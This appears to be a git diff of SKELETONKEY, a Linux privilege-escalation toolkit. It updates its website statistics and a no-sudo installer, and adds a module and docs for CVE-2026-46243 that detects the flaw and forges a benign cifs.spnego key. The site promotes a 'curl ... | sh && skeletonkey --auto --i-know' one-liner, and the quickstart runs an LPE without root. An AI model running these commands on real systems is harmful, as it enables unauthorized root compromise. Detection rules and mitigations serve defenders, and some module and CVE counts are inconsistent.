{"module":"tioscpgrp","verified_at":"2026-05-24T03:31:08Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04.6 LTS","vm_box":"generic/ubuntu2004","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
{"module":"dirtydecrypt","verified_at":"2026-05-24T03:55:18Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"OK","actual_detect":"OK","status":"match"}
|
||||
{"module":"dirtydecrypt","verified_at":"2026-05-24T05:16:27Z","host_kernel":"6.19.7-061907-generic","host_distro":"Ubuntu 22.04.3 LTS","vm_box":"generic/ubuntu2204","expect_detect":"VULNERABLE","actual_detect":"VULNERABLE","status":"match"}
|
||||
|
||||
+1
-1
@@ -10,7 +10,7 @@
|
||||
* 1. typed install command in the hero
|
||||
* ============================================================ */
|
||||
const installCmd =
|
||||
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && skeletonkey --auto --i-know';
|
||||
'curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \\\n && export PATH="$HOME/.local/bin:$PATH" \\\n && skeletonkey --auto --i-know';
|
||||
const typedEl = document.getElementById('install-typed');
|
||||
const cursorEl = document.getElementById('install-cursor');
|
||||
|
||||
|
||||
+18
-15
@@ -4,9 +4,9 @@
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||
<meta name="description" content="One binary. 39 Linux privilege-escalation modules from 2016 to 2026. 28 of 34 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta name="description" content="One binary. 42 Linux privilege-escalation modules from 2016 to 2026. 28 of 37 CVEs empirically verified in real Linux VMs. 13 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||
<meta property="og:description" content="39 Linux LPE modules; 28 of 34 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:description" content="42 Linux LPE modules; 28 of 37 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
||||
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
||||
@@ -56,13 +56,13 @@
|
||||
<div class="container hero-inner">
|
||||
<div class="hero-eyebrow">
|
||||
<span class="dot dot-pulse"></span>
|
||||
v0.9.2 — released 2026-05-24
|
||||
v0.9.10 — released 2026-06-08
|
||||
</div>
|
||||
<h1 class="hero-title">
|
||||
<span class="display-wordmark">SKELETONKEY</span>
|
||||
</h1>
|
||||
<p class="hero-tag">
|
||||
One binary. <strong>39 Linux LPE modules</strong> covering 34 CVEs —
|
||||
One binary. <strong>42 Linux LPE modules</strong> covering 37 CVEs —
|
||||
<strong>every year 2016 → 2026</strong>. 28 of 34 confirmed against
|
||||
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||
@@ -81,9 +81,9 @@
|
||||
</div>
|
||||
|
||||
<div class="stats-row" id="stats-row">
|
||||
<div class="stat-chip"><span class="num" data-target="39">0</span><span>modules</span></div>
|
||||
<div class="stat-chip"><span class="num" data-target="41">0</span><span>modules</span></div>
|
||||
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
|
||||
<div class="stat-chip stat-kev"><span class="num" data-target="11">0</span><span>★ in CISA KEV</span></div>
|
||||
<div class="stat-chip stat-kev"><span class="num" data-target="12">0</span><span>★ in CISA KEV</span></div>
|
||||
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
||||
</div>
|
||||
|
||||
@@ -210,7 +210,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
|
||||
<article class="bento-card">
|
||||
<div class="bento-icon">🛡</div>
|
||||
<h3>119 detection rules</h3>
|
||||
<h3>151 detection rules</h3>
|
||||
<p>
|
||||
auditd · sigma · yara · falco. One command emits the corpus for
|
||||
your SIEM. Each rule grounded in the module's own syscalls.
|
||||
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="bento-icon">★</div>
|
||||
<h3>CISA KEV prioritized</h3>
|
||||
<p>
|
||||
10 of 26 CVEs in the corpus are in CISA's Known Exploited
|
||||
13 of 37 CVEs in the corpus are in CISA's Known Exploited
|
||||
Vulnerabilities catalog — actively exploited in the wild.
|
||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||
</p>
|
||||
@@ -294,9 +294,9 @@ uid=0(root) gid=0(root)</pre>
|
||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||
<code>--explain --active</code> per module, and records the
|
||||
verdict. <strong>22 of 26 CVEs</strong> confirmed against
|
||||
verdict. <strong>28 of 37 CVEs</strong> confirmed against
|
||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||
+ mainline 5.15.5 / 6.1.10. Records baked into the binary;
|
||||
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||
<code>--list</code> shows ✓ per module.
|
||||
</p>
|
||||
</article>
|
||||
@@ -309,7 +309,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="container">
|
||||
<div class="section-head">
|
||||
<span class="section-tag">corpus</span>
|
||||
<h2>26 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
<h2>37 CVEs across 10 years. ★ = actively exploited (CISA KEV).</h2>
|
||||
</div>
|
||||
|
||||
<h3 class="corpus-h" data-color="green">
|
||||
@@ -331,6 +331,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<span class="pill green">cgroup_release_agent</span>
|
||||
<span class="pill green kev">★ ptrace_traceme</span>
|
||||
<span class="pill green">sudoedit_editor</span>
|
||||
<span class="pill green">sudo_host</span>
|
||||
<span class="pill green">entrybleed</span>
|
||||
</div>
|
||||
|
||||
@@ -354,6 +355,8 @@ uid=0(root) gid=0(root)</pre>
|
||||
<span class="pill yellow kev">★ sudo_samedit</span>
|
||||
<span class="pill yellow">sequoia</span>
|
||||
<span class="pill yellow">vmwgfx</span>
|
||||
<span class="pill yellow">ptrace_pidfd</span>
|
||||
<span class="pill yellow">cifswitch</span>
|
||||
</div>
|
||||
|
||||
<p class="corpus-foot">
|
||||
@@ -414,7 +417,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="audience-icon">🎓</div>
|
||||
<h3>Researchers / CTF</h3>
|
||||
<p>
|
||||
26 CVEs, 10-year span, each with the original PoC author
|
||||
37 CVEs, 10-year span, each with the original PoC author
|
||||
credited and the kernel-range citation auditable.
|
||||
<code>--explain</code> shows the reasoning chain; detection
|
||||
rules let you practice both sides. Source is the documentation.
|
||||
@@ -511,13 +514,13 @@ uid=0(root) gid=0(root)</pre>
|
||||
<div class="tl-col tl-shipped">
|
||||
<div class="tl-tag">shipped</div>
|
||||
<ul>
|
||||
<li><strong>22 of 26 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>28 of 37 CVEs empirically verified</strong> in real Linux VMs</li>
|
||||
<li><strong>kernel.ubuntu.com/mainline/</strong> kernel fetch path — unblocks pin-not-in-apt targets</li>
|
||||
<li>Per-module <code>verified_on[]</code> table baked into the binary</li>
|
||||
<li><strong>--explain mode</strong> — one-page operator briefing per CVE</li>
|
||||
<li><strong>OPSEC notes</strong> — per-module runtime footprint</li>
|
||||
<li><strong>CISA KEV + NVD CWE + MITRE ATT&CK</strong> metadata pipeline</li>
|
||||
<li>119 detection rules across all four SIEM formats</li>
|
||||
<li>151 detection rules across all four SIEM formats</li>
|
||||
<li><code>core/host.c</code> shared host-fingerprint refactor</li>
|
||||
<li>88-test harness (kernel_range + detect integration)</li>
|
||||
</ul>
|
||||
@@ -598,7 +601,7 @@ uid=0(root) gid=0(root)</pre>
|
||||
who found the bugs.
|
||||
</p>
|
||||
<p class="footer-meta">
|
||||
v0.9.2 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
v0.9.10 · MIT · <a href="https://github.com/KaraZajac/SKELETONKEY">github.com/KaraZajac/SKELETONKEY</a>
|
||||
</p>
|
||||
</div>
|
||||
</footer>
|
||||
|
||||
BIN
Binary file not shown.
|
Before Width: | Height: | Size: 122 KiB After Width: | Height: | Size: 123 KiB |
+2
-2
@@ -54,9 +54,9 @@
|
||||
<text x="234" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#34d399">28</text>
|
||||
<text x="270" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">✓ VM-verified</text>
|
||||
|
||||
<!-- 11 KEV -->
|
||||
<!-- 12 KEV -->
|
||||
<rect x="482" y="0" width="218" height="58" rx="29" fill="#161628" stroke="#ef4444" stroke-opacity="0.4"/>
|
||||
<text x="510" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ef4444">11</text>
|
||||
<text x="510" y="38" font-family="'JetBrains Mono',monospace" font-weight="700" font-size="22" fill="#ef4444">12</text>
|
||||
<text x="546" y="37" font-family="'Inter',sans-serif" font-size="16" fill="#8a8a9d">★ in CISA KEV</text>
|
||||
|
||||
<!-- 151 rules -->
|
||||
|
||||
|
Before Width: | Height: | Size: 4.0 KiB After Width: | Height: | Size: 4.0 KiB |
+38
-14
@@ -28,7 +28,11 @@ set -eu
|
||||
|
||||
REPO="${SKELETONKEY_REPO:-KaraZajac/SKELETONKEY}"
|
||||
VERSION="${SKELETONKEY_VERSION:-latest}"
|
||||
PREFIX="${SKELETONKEY_PREFIX:-/usr/local/bin}"
|
||||
# PREFIX resolution is deferred until install time so we can pick a
|
||||
# sudo-free default. SKELETONKEY is a privilege-escalation tool — by
|
||||
# definition the operator does NOT have root yet, so the installer must
|
||||
# NEVER need sudo. Empty here means "auto-pick a writable dir below".
|
||||
PREFIX="${SKELETONKEY_PREFIX:-}"
|
||||
|
||||
log() { printf '[\033[1;36m*\033[0m] %s\n' "$*" >&2; }
|
||||
ok() { printf '[\033[1;32m+\033[0m] %s\n' "$*" >&2; }
|
||||
@@ -108,29 +112,49 @@ fi
|
||||
|
||||
chmod +x "$tmp/skeletonkey"
|
||||
|
||||
# Install. Try $PREFIX directly; if not writable, sudo.
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
if [ -w "$PREFIX" ] || [ "$(id -u)" -eq 0 ]; then
|
||||
mv "$tmp/skeletonkey" "$target_path"
|
||||
elif command -v sudo >/dev/null 2>&1; then
|
||||
log "$PREFIX needs sudo; you may be prompted for password"
|
||||
sudo mv "$tmp/skeletonkey" "$target_path"
|
||||
# Choose install dir — NEVER escalate to sudo. If the user pinned
|
||||
# SKELETONKEY_PREFIX we honor it exactly (creating it if needed) and
|
||||
# error rather than escalate when it isn't writable. Otherwise prefer
|
||||
# /usr/local/bin only when it happens to already be writable, and fall
|
||||
# back to a guaranteed per-user dir ($HOME/.local/bin) that needs no
|
||||
# privileges. This keeps `curl ... | sh` password-free for the exact
|
||||
# users this tool is meant for: unprivileged accounts.
|
||||
if [ -n "$PREFIX" ]; then
|
||||
[ -d "$PREFIX" ] || mkdir -p "$PREFIX" 2>/dev/null \
|
||||
|| fail "cannot create SKELETONKEY_PREFIX=$PREFIX"
|
||||
[ -w "$PREFIX" ] || fail "SKELETONKEY_PREFIX=$PREFIX not writable (the installer never uses sudo — pick a writable dir)"
|
||||
elif [ -w /usr/local/bin ]; then
|
||||
PREFIX=/usr/local/bin
|
||||
else
|
||||
fail "$PREFIX not writable and sudo not available. Try SKELETONKEY_PREFIX=\$HOME/.local/bin"
|
||||
PREFIX="${XDG_BIN_HOME:-$HOME/.local/bin}"
|
||||
mkdir -p "$PREFIX" 2>/dev/null || fail "cannot create $PREFIX"
|
||||
fi
|
||||
|
||||
target_path="$PREFIX/skeletonkey"
|
||||
mv "$tmp/skeletonkey" "$target_path" || fail "failed to install to $target_path"
|
||||
ok "installed: $target_path"
|
||||
|
||||
# ~/.local/bin is frequently absent from PATH on fresh accounts — tell
|
||||
# the user how to invoke it rather than letting `skeletonkey` 404.
|
||||
case ":$PATH:" in
|
||||
*":$PREFIX:"*) : ;;
|
||||
*) log "note: $PREFIX is not on \$PATH — run it as $target_path, or add the dir to PATH" ;;
|
||||
esac
|
||||
|
||||
"$target_path" --version
|
||||
|
||||
cat >&2 <<EOF
|
||||
|
||||
[\033[1;33m!\033[0m] AUTHORIZED TESTING ONLY — see https://github.com/${REPO}/blob/main/docs/ETHICS.md
|
||||
|
||||
Quickstart:
|
||||
sudo skeletonkey --scan # what's this box vulnerable to?
|
||||
sudo skeletonkey --audit # broader system hygiene
|
||||
sudo skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules # deploy detection rules
|
||||
Quickstart (no root required — gaining it is the point):
|
||||
skeletonkey --scan # what's this box vulnerable to?
|
||||
skeletonkey --audit # broader system hygiene
|
||||
skeletonkey --auto --i-know # run the safest available LPE
|
||||
|
||||
Deploy detection rules (defensive; only the write to /etc/audit needs root):
|
||||
skeletonkey --detect-rules --format=auditd \\
|
||||
| sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
See \`skeletonkey --help\` for all commands.
|
||||
EOF
|
||||
|
||||
@@ -65,7 +65,7 @@ static const struct kernel_patched_from cgroup_ra_patched_branches[] = {
|
||||
{5, 4, 179},
|
||||
{5, 10, 100},
|
||||
{5, 15, 23},
|
||||
{5, 16, 9},
|
||||
{5, 16, 7}, /* Debian tracker: earlier than 5.16.9 in stable */
|
||||
{5, 17, 0}, /* mainline */
|
||||
};
|
||||
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
# cifswitch — CVE-2026-46243 ("CIFSwitch")
|
||||
|
||||
The kernel's `cifs.spnego` request-key type trusts userspace-forged
|
||||
authority fields, letting the root `cifs.upcall` helper be coerced into
|
||||
loading an attacker NSS module as root.
|
||||
|
||||
## The bug
|
||||
|
||||
`fs/smb/client/cifs_spnego.c` registers the `cifs.spnego` key type so the
|
||||
kernel CIFS client can ask the root-privileged `cifs.upcall` helper to
|
||||
perform a SPNEGO/Kerberos exchange. The key *description* carries
|
||||
authority-bearing fields — `pid`, `uid`, `creduid`, `upcall_target` —
|
||||
that `cifs.upcall` reads as trusted, kernel-originating inputs.
|
||||
|
||||
The flaw: the kernel never verified the request actually came from the
|
||||
in-kernel CIFS client. Userspace can create keys of this type directly
|
||||
through `add_key(2)` / `request_key(2)`, supplying all those fields. By
|
||||
forging a description and manipulating user + mount namespaces, an
|
||||
unprivileged user makes `cifs.upcall` trust attacker-controlled state and
|
||||
load a malicious NSS shared library as root → root code execution.
|
||||
|
||||
## Affected range
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| Flaw age | ~19 years (predates key-type origin checks) |
|
||||
| Fixed upstream | commit `3da1fdf4efbc`, merged 7.1-rc5 |
|
||||
| Debian backports | 5.10.257 · 6.1.174 · 6.12.90 · 7.0.10 |
|
||||
| NVD class | CWE-20 (Improper Input Validation) |
|
||||
| CISA KEV | no (as of disclosure) |
|
||||
|
||||
Branches Debian does not ship (5.15 / 6.6 / 6.8 / 6.11 …) are reported on
|
||||
the version-only verdict; confirm empirically.
|
||||
|
||||
## Trigger / detection
|
||||
|
||||
`detect()` returns `OK` for patched kernels, `PRECOND_FAIL` for a
|
||||
vulnerable kernel where `cifs.upcall` / the `cifs.spnego` request-key rule
|
||||
isn't installed (cifs-utils absent → unreachable), and `VULNERABLE` when
|
||||
both the version and the userspace path line up. The precondition probe
|
||||
can be overridden with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (force present)
|
||||
or `0` (force absent).
|
||||
|
||||
`exploit()` fires the non-destructive primitive: `add_key(2)` of a
|
||||
forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked
|
||||
immediately. A clean accept is the witness that userspace can forge the
|
||||
authority-bearing key type. The full root-pop (namespace switch +
|
||||
malicious NSS load) is **not** bundled until VM-verified — honest
|
||||
`EXPLOIT_FAIL` without a euid-0 witness.
|
||||
|
||||
## Fix / mitigation
|
||||
|
||||
Upgrade the kernel. As a runtime stopgap, blocklist the `cifs` module —
|
||||
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||
(needs root) and `--cleanup` removes it. Already-loaded `cifs` persists
|
||||
until unmount + `rmmod cifs` or reboot.
|
||||
|
||||
## Credit
|
||||
|
||||
Asim Manizada (2026-05-28). See `NOTICE.md`.
|
||||
@@ -0,0 +1,69 @@
|
||||
# NOTICE — cifswitch (CVE-2026-46243, "CIFSwitch")
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46243 "CIFSwitch"** — the Linux kernel's `cifs.spnego`
|
||||
request-key type (`fs/smb/client/cifs_spnego.c`) accepts key descriptions
|
||||
created by **userspace** (via `add_key(2)` / `request_key(2)`) without
|
||||
verifying that the request originated from the in-kernel CIFS client. The
|
||||
key description carries authority-bearing fields — `pid`, `uid`,
|
||||
`creduid`, `upcall_target` — that the root-privileged `cifs.upcall`
|
||||
helper treats as trusted, kernel-originating inputs. An unprivileged
|
||||
local user forges such a description and, combined with user + mount
|
||||
namespace manipulation, coerces `cifs.upcall` into loading an
|
||||
attacker-controlled NSS shared library as root → local privilege
|
||||
escalation to root.
|
||||
|
||||
It is a **~19-year-old** logic flaw — the cifs spnego upcall predates the
|
||||
key-type origin checks added to the keyrings subsystem later. NVD class:
|
||||
**CWE-20** (Improper Input Validation). Not in CISA KEV (as of disclosure).
|
||||
|
||||
**Preconditions:** the `cifs` kernel module available, `cifs-utils`
|
||||
installed (so `cifs.upcall` is present), and the `cifs.spnego`
|
||||
request-key rule active. Default-vulnerable distributions reported
|
||||
include Linux Mint, CentOS Stream 9, Rocky Linux 9, AlmaLinux 9, Kali
|
||||
Linux, SLES 15 SP7, and Red Hat Enterprise Linux 6–10.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered, named, and disclosed by **Asim Manizada** on **2026-05-28**,
|
||||
with a working proof-of-concept published the same day.
|
||||
|
||||
- Red Hat advisory (RHSB-2026-005):
|
||||
<https://access.redhat.com/security/vulnerabilities/RHSB-2026-005>
|
||||
- BleepingComputer write-up:
|
||||
<https://www.bleepingcomputer.com/news/security/new-cifswitch-linux-flaw-gives-root-on-multiple-distributions/>
|
||||
- Upstream fix: commit `3da1fdf4efbc490041eb4f836bf596201203f8f2`
|
||||
("smb: client: reject userspace cifs.spnego descriptions"), merged
|
||||
7.1-rc5.
|
||||
- Debian-tracked stable backports: 5.10.257 (bullseye) / 6.1.174
|
||||
(bookworm) / 6.12.90 (trixie) / 7.0.10 (forky, sid).
|
||||
|
||||
All research credit for finding and analysing this bug belongs to Asim
|
||||
Manizada. SKELETONKEY is the bundling and bookkeeping layer only.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
🟡 **Primitive / ported-from-disclosure — not yet VM-verified.**
|
||||
`detect()` gates on the kernel version (the Debian backport thresholds
|
||||
above) **and** the presence of the vulnerable userspace path
|
||||
(`cifs.upcall` / the `cifs.spnego` request-key rule) — a vulnerable
|
||||
kernel without `cifs-utils` is reported `PRECOND_FAIL`, not `VULNERABLE`.
|
||||
Override the probe with `SKELETONKEY_CIFS_ASSUME_PRESENT=1` (or `0`).
|
||||
|
||||
`exploit()` fires only the reachable, **non-destructive** part of the
|
||||
primitive: it attempts to register a forged-but-benign `cifs.spnego` key
|
||||
as the unprivileged user via `add_key(2)` — which instantiates the key
|
||||
directly and does **not** invoke `cifs.upcall`, so it loads nothing and
|
||||
spawns no privileged helper — and revokes the key immediately. A clean
|
||||
accept is the empirical witness that the missing-origin-validation flaw
|
||||
is present. It then **stops**: the namespace-switch + malicious-NSS-load
|
||||
chain that actually lands a root shell is target/config-specific and is
|
||||
**not** bundled until it can be verified end-to-end against a real
|
||||
vulnerable VM, in keeping with the project's no-fabrication rule.
|
||||
`exploit()` returns `EXPLOIT_FAIL` unless it can witness euid 0.
|
||||
|
||||
`--mitigate` writes `/etc/modprobe.d/skeletonkey-disable-cifs.conf`
|
||||
(blocklists the `cifs` module — the vendor-recommended runtime
|
||||
mitigation); `--cleanup` removes it. Architecture-agnostic — keyring and
|
||||
namespace logic, no shellcode.
|
||||
@@ -0,0 +1,419 @@
|
||||
/*
|
||||
* cifswitch_cve_2026_46243 — SKELETONKEY module
|
||||
*
|
||||
* CVE-2026-46243 "CIFSwitch" — the kernel's `cifs.spnego` request-key
|
||||
* type accepts key descriptions created by *userspace* (via add_key(2) /
|
||||
* request_key(2)) without verifying the request originated from the
|
||||
* in-kernel CIFS client. Those descriptions carry authority-bearing
|
||||
* fields (`pid`, `uid`, `creduid`, `upcall_target`) that the
|
||||
* root-privileged `cifs.upcall` helper trusts as kernel-originating.
|
||||
* An unprivileged user forges a description and — combined with user +
|
||||
* mount namespace manipulation — coerces `cifs.upcall` into loading an
|
||||
* attacker-controlled NSS shared library as root → local root.
|
||||
*
|
||||
* Disclosed by Asim Manizada, 2026-05-28 (public PoC same day). A
|
||||
* ~19-year-old bug: the cifs spnego upcall predates the key-type origin
|
||||
* checks added later. Fixed upstream by commit 3da1fdf4efbc (merged
|
||||
* 7.1-rc5): "smb: client: reject userspace cifs.spnego descriptions".
|
||||
* NVD: CWE-20 (Improper Input Validation). Not in CISA KEV.
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE / ported-from-disclosure, NOT yet VM-verified.
|
||||
* Structural logic flaw — no offsets, no race, no shellcode. detect()
|
||||
* gates on (a) the kernel version (Debian-tracked backports below) and
|
||||
* (b) the presence of the vulnerable userspace path: the `cifs.upcall`
|
||||
* helper / `cifs.spnego` request-key rule. A vulnerable kernel without
|
||||
* cifs-utils is not reachable via this technique, so that case is
|
||||
* PRECOND_FAIL, not VULNERABLE. exploit() fires the reachable,
|
||||
* non-destructive part of the primitive — it attempts to register a
|
||||
* forged-but-benign `cifs.spnego` key as the unprivileged user (via
|
||||
* add_key(2), which does NOT invoke cifs.upcall) and observes whether
|
||||
* the kernel accepts a userspace-originated description — then STOPS.
|
||||
* The namespace-switch + malicious-NSS-load that turns that into a
|
||||
* root shell is target/config-specific and is not bundled until it can
|
||||
* be VM-verified end-to-end. Honest EXPLOIT_FAIL without a euid-0
|
||||
* witness; never fabricates root.
|
||||
*
|
||||
* Affected range (Debian-tracked stable backports of the fix):
|
||||
* 5.10.x : K >= 5.10.257 (bullseye)
|
||||
* 6.1.x : K >= 6.1.174 (bookworm)
|
||||
* 6.12.x : K >= 6.12.90 (trixie)
|
||||
* 7.0.x : K >= 7.0.10 (forky / sid); mainline fixed 7.1-rc5
|
||||
* Branches Debian doesn't track (5.15 / 6.6 / 6.8 / 6.11 ...) fall
|
||||
* through to the version-only verdict — confirm empirically.
|
||||
*
|
||||
* Preconditions: cifs kernel module available + cifs-utils installed
|
||||
* (`cifs.upcall` present) + the `cifs.spnego` request-key rule active.
|
||||
* Override the precondition probe with SKELETONKEY_CIFS_ASSUME_PRESENT
|
||||
* = 1 (force present) / 0 (force absent) when you know the fleet's CIFS
|
||||
* posture better than a local file probe can (also drives unit tests).
|
||||
*
|
||||
* arch_support: any. Keyring + namespace logic; no shellcode.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
|
||||
/* keyring syscalls live in libkeyutils, not glibc — call them directly.
|
||||
* The asm-generic numbers below match x86_64 / arm64 / most arches; fall
|
||||
* back only when the toolchain headers don't already define them. */
|
||||
#ifndef SYS_add_key
|
||||
#define SYS_add_key 248
|
||||
#endif
|
||||
#ifndef SYS_keyctl
|
||||
#define SYS_keyctl 250
|
||||
#endif
|
||||
|
||||
/* keyctl operations + special keyring ids (uapi/linux/keyctl.h). */
|
||||
#ifndef KEYCTL_REVOKE
|
||||
#define KEYCTL_REVOKE 3
|
||||
#endif
|
||||
#ifndef KEY_SPEC_PROCESS_KEYRING
|
||||
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||
#endif
|
||||
|
||||
typedef int sk_key_serial_t;
|
||||
|
||||
static sk_key_serial_t sk_add_key(const char *type, const char *desc,
|
||||
const void *payload, size_t plen,
|
||||
sk_key_serial_t keyring)
|
||||
{
|
||||
return (sk_key_serial_t)syscall(SYS_add_key, type, desc,
|
||||
payload, plen, keyring);
|
||||
}
|
||||
static long sk_keyctl_revoke(sk_key_serial_t key)
|
||||
{
|
||||
return syscall(SYS_keyctl, (long)KEYCTL_REVOKE, (long)key, 0L, 0L, 0L);
|
||||
}
|
||||
|
||||
/* Debian-tracked stable backports of the 2026 fix (commit 3da1fdf4efbc,
|
||||
* mainline 7.1-rc5). These are the authoritative thresholds
|
||||
* (security-tracker.debian.org). Branches Debian doesn't ship fall
|
||||
* through to the version-only verdict in detect(). */
|
||||
static const struct kernel_patched_from cifswitch_patched_branches[] = {
|
||||
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye) */
|
||||
{6, 1, 174}, /* 6.1-LTS backport (Debian bookworm) */
|
||||
{6, 12, 90}, /* 6.12-LTS backport (Debian trixie) */
|
||||
{7, 0, 10}, /* 7.0 stable (Debian forky / sid) */
|
||||
};
|
||||
|
||||
static const struct kernel_range cifswitch_range = {
|
||||
.patched_from = cifswitch_patched_branches,
|
||||
.n_patched_from = sizeof(cifswitch_patched_branches) /
|
||||
sizeof(cifswitch_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* Is the vulnerable userspace path present? The load-bearing signal is
|
||||
* the cifs.upcall helper (the privileged component the bug abuses); the
|
||||
* cifs.spnego request-key rule and a loaded/loadable cifs module
|
||||
* corroborate. SKELETONKEY_CIFS_ASSUME_PRESENT overrides the probe:
|
||||
* "1" = present, "0" = absent (operators who know their fleet's CIFS
|
||||
* posture, and the unit tests, use this). */
|
||||
static bool cifs_userspace_present(void)
|
||||
{
|
||||
const char *force = getenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
|
||||
if (force && (force[0] == '1' || force[0] == '0'))
|
||||
return force[0] == '1';
|
||||
|
||||
struct stat st;
|
||||
static const char *upcall_paths[] = {
|
||||
"/usr/sbin/cifs.upcall", "/sbin/cifs.upcall",
|
||||
"/usr/bin/cifs.upcall", "/usr/local/sbin/cifs.upcall", NULL,
|
||||
};
|
||||
for (size_t i = 0; upcall_paths[i]; i++)
|
||||
if (stat(upcall_paths[i], &st) == 0)
|
||||
return true;
|
||||
|
||||
/* request-key rule for cifs.spnego (cifs-utils ships this). */
|
||||
static const char *reqkey_paths[] = {
|
||||
"/etc/request-key.d/cifs.spnego.conf",
|
||||
"/usr/share/request-key.d/cifs.spnego.conf", NULL,
|
||||
};
|
||||
for (size_t i = 0; reqkey_paths[i]; i++)
|
||||
if (stat(reqkey_paths[i], &st) == 0)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] cifswitch: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* A patched kernel is not vulnerable regardless of the userspace
|
||||
* path — decide that first so the verdict is deterministic. */
|
||||
if (kernel_range_is_patched(&cifswitch_range, v)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] cifswitch: kernel %s is patched "
|
||||
"(version-only check)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Vulnerable kernel. Exploitation needs the cifs.upcall userspace
|
||||
* path; without it the technique is unreachable here. */
|
||||
if (!cifs_userspace_present()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] cifswitch: kernel %s is in the vulnerable "
|
||||
"range but cifs.upcall / cifs.spnego request-key "
|
||||
"rule not found — cifs-utils not installed, bug "
|
||||
"not reachable here\n", v->release);
|
||||
fprintf(stderr, "[i] cifswitch: if you know this fleet uses CIFS, "
|
||||
"re-run with SKELETONKEY_CIFS_ASSUME_PRESENT=1\n");
|
||||
}
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] cifswitch: kernel %s VULNERABLE and cifs.upcall "
|
||||
"present — CVE-2026-46243 reachable\n", v->release);
|
||||
